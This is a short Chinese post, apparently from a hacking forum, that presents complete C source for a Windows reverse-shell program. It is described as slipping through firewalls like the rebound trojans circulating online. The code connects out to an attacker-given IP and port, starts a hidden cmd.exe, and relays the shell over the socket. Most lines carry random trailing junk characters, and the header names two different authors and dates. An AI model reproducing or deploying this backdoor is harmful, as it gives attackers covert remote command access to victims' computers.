这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Rdd9JJsVd
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/* ============================== l9y %@7
Rebound port in Windows NT :G^4/A_
By wind,2006/7 '}>8+vU`
===============================*/ O7&OCo|b%>
#include vj#m#1\f
#include \
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#pragma comment(lib,"wsock32.lib") #=m:>Q?%z
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void OutputShell(); %md9ou`
SOCKET sClient; b3GTsX\2|
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9]{Ss$W3x
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void main(int argc,char **argv) 9(Kff nE^
{ 'P&r^V\~(/
WSADATA stWsaData; |NjyO>@Pa
int nRet; lKRp9isn^
SOCKADDR_IN stSaiClient,stSaiServer; fv>Jn`
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if(argc != 3) 8L@@UUjr
{ {+9t!'
printf("Useage:\n\rRebound DestIP DestPort\n"); N=8CVI
return; IeIv k55
} "(+aWvb
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;:)u
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %+
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stSaiClient.sin_family = AF_INET; t$Ua&w
stSaiClient.sin_port = htons(0); :3}K$
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `-rtU
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Zk gj_
{ 6HVGqx
printf("Bind Socket Failed!\n"); j8t_-sU9 i
return; `3UvKqe
} &v r0{]V^
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stSaiServer.sin_family = AF_INET; (L<G=XC
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -r{]9v2j
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0@#d($'1?Z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) J8`vk#5
{ .noY[P8i
printf("Connect Error!"); &gvX<X4e
return; hN1{?PQ
} Cz4l
OutputShell(); "&kXAwe
} Bq\WG=Fd
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void OutputShell() Jz_`dLL^w
{ Qhn>aeW,
char szBuff[1024]; b=Q%Jxz?
SECURITY_ATTRIBUTES stSecurityAttributes; 3],[6%w
OSVERSIONINFO stOsversionInfo; js=w!q0)9
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8DlRD$_:&
STARTUPINFO stStartupInfo; <ZeZq
char *szShell; &R}2/Mt
PROCESS_INFORMATION stProcessInformation; 7:S)J~s*O
unsigned long lBytesRead; k5GJrK+
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ZCkwK
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |Iq\ZX%q
stSecurityAttributes.lpSecurityDescriptor = 0; cz*Z/5XH
stSecurityAttributes.bInheritHandle = TRUE; Q<Th*t
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q^kOyA.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); sMqAuhw$.
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >c8EgSZJ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KZTT2KsYl
stStartupInfo.wShowWindow = SW_HIDE; nSV
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stStartupInfo.hStdInput = hReadPipe; Y-:{a1/RKo
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1x4{~g\
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GetVersionEx(&stOsversionInfo); HA(G q
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switch(stOsversionInfo.dwPlatformId) UPJ3YpK
{ /=ro$@
case 1: .
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szShell = "command.com"; b\9}zmG[u
break; aUX.4#|%
default: Ycve[31BDd
szShell = "cmd.exe";
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break; `+Ojh>"*z*
} 41jx+
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -XtDGNHF
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send(sClient,szMsg,77,0); r%~/y
while(1) $17utJ58
{ Mk@%Wuxg2
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w#M66=je_
if(lBytesRead) -%^KDyZ<&
{ op|/_I$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k~ZE4^dM
send(sClient,szBuff,lBytesRead,0); Wr Nm:N
} ^X/[x]UOT@
else INj2B@_
{ ?4,e?S6,[
lBytesRead=recv(sClient,szBuff,1024,0); _+hf.[""
if(lBytesRead<=0) break; yb:Xjg7
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); c31k%/.
} m.A_u7D@
} TS{ycGY
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return; 3jB5F0^r1
}